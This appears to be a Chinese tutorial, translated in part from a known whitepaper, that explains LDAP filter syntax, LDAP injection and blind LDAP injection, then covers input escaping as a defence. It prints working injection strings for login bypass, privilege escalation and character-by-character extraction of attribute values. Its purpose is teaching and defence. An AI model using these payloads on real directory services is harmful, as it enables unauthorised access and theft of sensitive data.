近年来高速发展的信息技术使得组织的数据库中存储的数据急剧增加,这些数据很大一部分对于组织、他们的客户及合作伙伴而言是敏感、不可泄露和至关重要的。 因而,在组织的内部防火墙后通常都安装有数据库,同时有入侵机制机制对其进行保护,并且只能由部分应用进行访问。为了访问数据库,用户必须连接这些应用并向数据库提交查询。当这些应用表现不当、没有过滤用户输入就提交查询时,使用数据库的风险就会上升。 超过50%的Web应用漏洞都跟输入验证有关,这使得代码注入技术的利用成为可能。这些攻击近年来如雨后春笋般出现,引发了系统和应用严重的安全问题。SQL注入技术是使用和研究得最广泛的,但除此之外还存在和其他语言或协议相关的注入技术,如Xpath和LDAP。 要防止出现此类攻击引发的后果,需要研究各种代码注入的可能性,并将其公之于众,让所有的程序员和管理员都知晓。本文将会深入分析LDAP注入技术,因为所有基于LDAP树的Web应用都可能存在这种攻击的漏洞。 利用LDAP注入技术的关键在于控制用于目录搜索服务的过滤器。使用这些技术,攻击者可能直接访问LDAP目录树下的数据库,及重要的公司信息。情况还可能比这更严重,因为许多应用的安全性依赖于基于LDAP目录的单点登录环境。 尽管导致这些后果的漏洞易于理解和修复,它们却一直存在,因为人们对这种攻击和它们所能造成的后果知之甚少。之前有这种漏洞利用的参考资料,但它们并不适用于大多数形形色色的现代LDAP服务实施方案。本文的主要作用在于对可能利用的新LDAP注入技术做一个展示,并做一个深度分析。 本部分的组织如下:第二和第三节解阐述了LDAP的基础知识,这些基础有助于理解在接下来的章节展示中使用的技术。第四节展示了两种典型的LDAP注入技术,并用案例进行说明示范。第五节用更多地例子说明了盲LDAP注入是如何完成的。最后,第六节是一些对抗这些攻击的安全建议。

2. LDAP概览

轻量级目录访问协议是通过TCP/IP查询和修改目录服务的协议,使用最广泛的LDAP服务如微软的ADAM(Active Directory Application Mode)和OpenLDAP。 LDAP目录服务是用于共享某些通用属性的存储和组织信息的软件应用程序,信息基于目录树入口被结构化,而服务器提供方便的浏览和搜索等服务。LDAP是面向对象的,因此LDAP目录服务中的每一个入口都是一个对象实例,并且必须对应该对象属性的规则。 由于LDAP目录服务的层次化的性质,基于读取的查询得到了优化,而写查询则受到抑制。 LDAP同样基于客户端/服务器模型,最常见的操作时使用过滤器搜索目录入口。客户端向服务器发送查询,服务器则响应匹配这些过滤器的目录入口。 LDAP过滤器定义于
RFC4515
中,这些过滤器的结构可概括如下:

Fileter = (filtercomp) Filtercomp = and / or / not / item And = & filterlist Or = | filterlist Not = ! filter Filterlist = 1*filter Item = simple / present / substring Simple = “=” / “~=” / ”>=” / “<=” Present = attr =* Substring = attr “=”
*
Initial = assertion value Final = assertion value

所有过滤器必须置于括号中,只有简化的逻辑操作符
(AND、OR、NOT)
和关系操作符
(=、>=、<=、~=)
可用于构造它们。
特殊符“*”
可用来替换过滤器中的一个或多个字符。 除使用逻辑操作符外,RFC4256还允许使用下面的单独符号作为两个特殊常量:
(&) ->Absolute TRUE (|) ->Absolute FALSE

3. 常见的LDAP环境

LDAP服务是许多公司和机构日常操作的关键组成部分,目录服务如微软的
Microsoft Active Directory

Novell E-Directory

RedHat Directory
服务都基于LDAP协议。不过也有其他的应用和服务会利用LDAP服务。 这些应用和服务通常需要不同的目录(单独认证)来工作。例如,一个域需要一个目录,邮箱和销售列表也需要一个单独的目录,另外远程访问、数据库和其他Web应用都需要目录。基于LDAP服务的新目录有多种用途,用于作为用户认证的集中化信息容器和使能单点登录环境。这个场景通过减少管理的复杂度、提升安全性和容错能力而提高了生产力。基本上,基于LDAP服务的应用使用目录处于如下用途之一:
—访问控制 —权限管理 —资源管理
由于LDAP服务对于公司网络的重要性,LDAP服务器通常和其他数据库服务器一起放置于后端。图一展示了部署公司网络的典型场景,记住这个场景对于理解后面展示的注入技术的含义是很有用的。 图一

4. Web应用中的LDAP注入

LDAP注入攻击和SQL注入攻击相似,因此接下来的想法是利用用户引入的参数生成LDAP查询。一个安全的Web应用在构造和将查询发送给服务器前应该净化用户传入的参数。在有漏洞的环境中,这些参数没有得到合适的过滤,因而攻击者可以注入任意恶意代码。 记住第二节中说道的LDAP过滤器的结构和使用得最广泛的LDAP:ADAM和OpenLDAP,下面的结论将会致代码注入: (attribute=value):如果过滤器用于构造查询单缺少逻辑操作符,如value)(injected_filter的注入会导致两个过滤器(attribute=value)(injected\_filter)。在OpenLDAP实施中,第二个过滤器会被忽略,只有第一个会被执行。而在ADAM中,有两个过滤器的查询是不被允许的,因而这个注入毫无用处。
(|(attribute=value)(second_filter)) or (&(attribute=value)(second_filter))
:如果第一个用于构造查询的过滤器有逻辑操作符,形如
value)(injected_filter)
的注入会变成如下过滤器:
(&(attribute=value)(injected_filter)) (second_filter)
。虽然过滤器语法上并不正确,
OpenLDAP
还是会从左到右进行处理,忽略第一个过滤器闭合后的任何字符。一些LDAP客户端Web组成会忽略第二个过滤器,将
ADAM
和OpenLDAP发送给第一个完成的过滤器,因而存在注入。 一些应用框架在将请求发送给服务器之前会检查过滤器是否正确,在这种情况下,过滤器语义上必须是正确的,其注入如:
value)(injected_filter))(&(1=0
。这会导致出现两个不同的过滤器,第二个会被忽略:
(&(attribute=value)(injected_filter))(&(1=0)(second_filter))
。 既然第二个过滤器会被LDAP服务器忽略,有些部分便不允许有两个过滤器的查询。这种情况下,只能构建一个特殊的注入以获得单个过滤器的LDAP查询。
value)(injected_filter
这样的注入产生的结果是
:(&(attribute=value)(injected_filter)(second_filter))
。 测试一个应用是否存在代码注入漏洞典型的方法是向服务器发送会生成一个无效输入的请求。因此,如果服务器返回一个错误消息,攻击者就能知道服务器执行了他的查询,他可以利用代码注入技术。回想一下之前讨论的,我们可以将注入环境分为两种:AND注入环境和OR注入环境。

4.1 AND注入

这种情况,应用会构造由
”&”
操作符和用户引入的的参数组成的正常查询在LDAP目录中搜索,例如:
(&(parameter1=value1)(parameter2=value2))
这里Value1和value2是在LDAP目录中搜索的值,攻击者可以注入代码,维持正确的过滤器结构但能使用查询实现他自己的目标。
4.1.1 案例1:绕过访问控制
一个登陆页有两个文本框用于输入用户名和密码(图二)。Uname和Pwd是用户对应的输入。为了验证客户端提供的user/password对,构造如下LDAP过滤器并发送给LDAP服务器:
(&(USER=Uname)(PASSWORD=Pwd))
图二 如果攻击者输入一个有效地用户名,如r00tgrok,然后再这个名字后面注入恰当的语句,password检查就会被绕过。 使得
Uname=slisberger)(&))
,引入任何字符串作为Pwd值,构造如下查询并发送给服务器:
(&(USER= slisberger)(&)(PASSWORD=Pwd))
LDAP服务器只处理第一个过滤器,即仅查询(&(USER=slidberger)(&))得到了处理。这个查询永真,因而攻击者无需有效地密码就能获取对系统的访问(图三)。 图三
4.1.2 案例二:权限提升
现假设下面的查询会向用户列举出所有可见的低安全等级文档:
(&(directory=document)(security_level=low))
这里第一个参数document是用户入口,low是第二个参数的值。如果攻击者想列举出所有可见的高安全等级的文档,他可以利用如下的注入:
document)(security_level=*))(&(directory=documents
生成的过滤器为:
(&(directory=documents)(security_level=*))(&(direcroty=documents)(security_level=low))
LDAP服务器仅会处理第一个过滤器而忽略第二个,因而只有下面的查询会被处理:
(&(directory=documents)(security_level=*))

(&(direcroty=documents)(security_level=low))
则会被忽略。结果就是,所有安全等级的可用文档都会列举给攻击者,尽管他没有权限查看它们。 图四 低安全等级的文档 图五 所有安全等级的文档

4.2 OR注入

这种情况,应用会构造由”|”操作符和用户引入的的参数组成的正常查询在LDAP目录中搜索,例如:
(|(parameter1=value1)(parameter2=value2))
这里Value1和value2是在LDAP目录中搜索的值,攻击者可以注入代码,维持正确的过滤器结构但能使用查询实现他自己的目标。
4.2.1 案例1:信息泄露
假设一个资源管理器允许用户了解系统中可用的资源(打印机、扫描器、存储系统等)。这便是一个典型的OR注入案例,因为用于展示可用资源的查询为:
(|(type=Rsc1)(type=Rsc2))
Rsc1和Rsc2表示系统中不同种类的资源,在图六中,Rsc1=printer,Rsc2=scanner用于列出系统中所以可用的打印机和扫描器。 图六 如果攻击者输入Rsc=printer)(uid=*),则下面的查询被发送给服务器: (|(type=printer)(uid=*))(type=scanner) LDAP服务器会响应所有的打印机和用户对象,见图七 图七

5. LDAP盲注入

假设攻击者可以从服务器响应中推测出什么,尽管应用没有报出错信息,LDAP过滤器中注入的代码却生成了有效的响应或错误。攻击者可以利用这一行为向服务器问正确的或错误的问题。这种攻击称之为盲攻击。LDAP的盲注攻击比较慢但容易实施,因为它们基于二进制逻辑,能让攻击者从lDAP目录提取信息。

5.1 AND盲注

假设一个Web应用想从一个LDAP目录列出所有可用的Epson打印机,错误信息不会返回,应用发送如下的过滤器:
(&(objectClass=printer)(type=Epson*))
使用这个查询,如果有可用的Epson打印机,其图标就会显示给客户端,否则没有图标出现。如果攻击者进行LDAP盲注入攻击
*)(objectClass=*))(&(objectClass=void
Web应用会构造如下查询:
(&(objectClass=*)(objectClass=*))(&(objectClass=void)(type=Epson*))
仅第一个LDAP过滤器会被处理:
(&(objectClass=*)(objectClass=*))
结果是,打印机的图标一定会显示到客户端,因为这个查询总是会获得结果:过滤器objectClass=*总是返回一个对象。当图标被显示时响应为真,否则为假。 从这一点来看,使用盲注技术比较容易,例如构造如下的注入:
(&(objectClass=*)(objectClass=users))(&(objectClass=foo)(type=Epson*)) (&(objectClass=*)(objectClass=resources))(&(objectClass=foo)(type=Epson*))
这种代码注入的设置允许攻击者推测可能存在于LDAP目录服务中不同对象类的值。当响应Web页面至少包含一个打印机图标时,对象类的值就是存在的,另一方面而言,如果对象类的值不存在或没有对它的访问,就不会有图标出现。 LDAP盲注技术让攻击者使用基于TRUE/FALSE的技术访问所有的信息。

5.2 OR盲注

这种情况下,用于推测想要的信息的逻辑与AND是相反的,因为使用的是OR逻辑操作符。接下来使用的是同一个例子,OR环境的注入为:
(|(objectClass=void)(objectClass=void))(&(objectClass=void)(type=Epson*))
这个LDAP查询没有从LDAP目录服务获得任何对象,打印机的图标也不会显示给客户端(FALSE)。如果在响应的Web页面中有任何图标,则响应为TRUE。故攻击者可以注入下列LDAP过滤器来收集信息:
(|(objectClass=void)(objectClass=users))(&(objectClass=void)(type=Epson*)) (|(objectClass=void)(objectClass=resources))(&(objectClass=void)(type=Epson*))

5.3 利用案例

在本节中,部署了LDAP环境以展示上面说到的注入技术的使用,另外也描述了利用这些漏洞可能造成的影响及这些攻击对当前系统安全性的重要影响。 在本例中,printerstatus.php页面接收idprinter参数构造如下的LDAP搜索过滤器:
(&(idprinter=value1)(objectclass=printer))

5.3.1 发现属性

LDAP盲注技术可以通过利用Web应用中内建的搜索过滤器首部的AND操作符,获得LDAP目录服务的敏感信息。例如,给出图八中为打印机对象定义的属性和图九中找个查询的响应页面,这里value1=HPLaserJet2100 图八 图九 一个属性发现攻击可以使用下面的LDAP注入:
(&(idprinter=HPLaserJet2100)(ipaddresss=*))(objectclass=printer) (&(idprinter=HPLaserJet2100)(departments=*))(objectclass=printer)
图十 属性不存在时的响应 图十一 属性存在时的响应 很显然,攻击者可以根据返回的结果判断属性是否存在。在第一种情况中,应用没有给出打印机的信息,因为属性ipaddress并不存在或不可访问(FALSE)。另一方面,第二种情况中,响应页面显示了打印机的状态,department属性存在且可以访问。进一步说,可以使用LDAP注入获得一些属性的值。例如,假设攻击者想获得department属性的值:他可以使用booleanization和字符集削减技术,这将在下一节中介绍。

5.3.2 Booleanization

攻击者可以使用字母、数字搜索提取属性的值,这个想法的关键在于将一个复杂的值转化为TRUE/FALSE列表。这个机制,通常称为booleanization,大意是二值化吧,图十二概括了该机制,可用于不同的方式。 假设攻击者想知道department属性的值,处理如下:
(&(idprinter=HPLaserJet2100)(department=a*))(object=printer)) (&(idprinter=HPLaserJet2100)(department=f*))(object=printer)) (&(idprinter=HPLaserJet2100)(department=fa*))(object=printer))
图十三 值不是以’a’开始 图十四 值以’fi’开始 如图九所示,本例中department的值是financial,用”a”的尝试没有获取任何打印机信息,因而第一个字母不是”a”。测试过其他字母后,唯一能正常返回的只有”f”,接下来测试第二个字母,当为”i”时才正常返回,如图十四,以此类推即可获得department的值。

5.3.3 字符集削减

攻击者可以使用字符集削减技术减少获得信息所需的请求数,为完成这一点,他使用通配符测试给定的字符在值中是否为*anywhere*:
(&(idprinter=HPLaserJet2100)(department=*b*))(object=printer)) (&(idprinter=HPLaserJet2100)(department=*n*))(object=printer))
图十五 department的之中没有字母”b” 2014022611050380005.png 图十六 department的之中没有字母”n” 图十五是测试”b”的响应页面,没有结果说明没有字母”b”,图十六中响应正常,意味着’n’出现在department值中。 通过这样处理,构成
depaetment
值的字母是哪些就可以知道了,一旦字符集削减完成,只有发现的那些字母会用于booleanization处理,因此减少了请求的数量。

0x04 防御LDAP注入

前面演示的攻击都是作用于应用层,因此网络层的防火墙和入侵检测机制无法防御这些LDAP注入攻击。然而遵循最小化暴露点和最小化权限的原则可以减小或最小化其影响。 用于防御代码注入技术的机制包括防御性编程、复杂的输入验证、动态检查和源代码分析,减轻LDAP注入的工作必须涉及相似的技术。 之前的LDAP注入攻击演示都在从客户端发送给服务器的参数中包含了特殊字符,因而有必要在发送查询给服务器之前对变量进行检查和净化处理。 总而言之,我们看到圆括号、星号、逻辑操作符、关系运操作符在应用层都必须过滤。 无论什么时候,只要可能,构造LDAP搜索过滤器的值在发送给LDAP服务器查询之前都要用应用层有效地值列表来核对。 图十七包含了LDAP中用到的特殊字符和需要转义处理的字符: 左边的字符在正常情况下是不会用到的,如果在用户的输入中出现了需要用反斜杠转义处理。而右边的圆括号这些如果不过滤的话就会导致过滤器闭合而生产攻击者需要的filter,这里看到不仅是用反斜杠处理,还将字符变成了相应的ASCII码值,这些符号本不该出现。 图十七 上面这些字符的处理在
RFC2254
中都能找到,具体实现可参考如下一段PHP代码:
function ldapspecialchars($string) { $sanitized=array('\\' => '\5c', '*' => '\2a', '(' => '\28', ')' => '\29', "\x00" => '\00'); return str_replace(array_keys($sanitized),array_values($sanitized),$string); }
对LDAP服务而言防御注入并不像SQL注入那么复杂,只要把守好数据的入口和出口就能有效的防御攻击 ,图十八是转义前后对比的例子

0x05 本文小结

文章开始的LDAP介绍到后面LDAP注入与防御部分,读者朋友可能发现关于LDAP的介绍存在部分内容上的重叠,之所以保留,主要是考虑到这重叠的部分是以不同的视角去看待的。IBM Redbooks的介绍更多多从企业层面出发,而后面的译文则更多地从一个安全研究者的角度看待问题,内容上差不多,但是体现了个体与整体之间的不同。 再总结一下本文的内容,本文主要分为两部分,第一部分是对LDAP的介绍,又分为背景介绍和特性的简单介绍;本文第二部分讨论LDAP注入攻击和防御,攻击分为普通注入和盲注入,并给出了对应的测试案例。从篇幅上来说,本文重点在LDAP注入这一部分,并不是说防御这一块不重要,而是因为LDAP虽然类似于数据库,但是在查询上相比更为简单,对于其防御可以参考数据库的防御措施。另外理解LDAP的特性也很重要,因为部署该服务,除了我们说的注入攻击之外,服务器管理、配置不当也会引发安全问题。

0x06 参考资料

本文到这里就差不多要结束了,在此再提两点:LDAP服务开启的端口是389,如果发现某个服务器上开启了该端口很可能就是开启了LDAP服务,针对LDAP的软件有
ldapbroswer

ldap blind explorer
;之前说到LDAP注入漏洞在现实生活中真实存在,在这里给出一个LDAP信息泄露的例子,虽然不一定是LDAP注入直接导致的,但足以说明会造成巨大危害,同时也有例可循:
WooYun: 腾讯某服务配置不当内部海量敏感信息泄露! WooYun: 腾讯某研发中心某系统多用户弱口令可能导致该产品线及业务受影响!
以下是形成本文的过程中参考过较重要的资料:
http://www.redbooks.ibm.com/redbooks/SG244986/wwhelp/wwhimpl/js/html/wwhelp.htm https://www.blackhat.com/presentations/bh-europe-08/Alonso-Parada/Whitepaper/bh-eu-08-alonso-parada-WP.pdf http://blog.nci.ca/nciblog/2013/6/12/ldap-injection http://stackoverflow.com/questions/3028770/preventing-ldap-injection

Apache 安全配置,IIS WebDAV 安全配置,IIS7.5 安全配置研究,Nginx 安全配置研究,Tomcat 安全配置,linux 下 tomcat 安全配置,LNMP 虚拟主机安全配置研究,Memcache 安全配置,MongoDB 安全配置,MySQL和PostgreSQL安全配置,Mysql 安全配置,Rsync 安全配置,Oracle 安全配置,SQL SERVER 2008安全配置,SVN安装配置及安全注意事项,NFS 安全配置,Sybase 安全配置,中间件配置不当案例,数据库配置不当案例,版本控制系统配置不当案例,Docker remote API安全风险,LDAP注入与防御剖析,知识盒子,知识付费,在线教育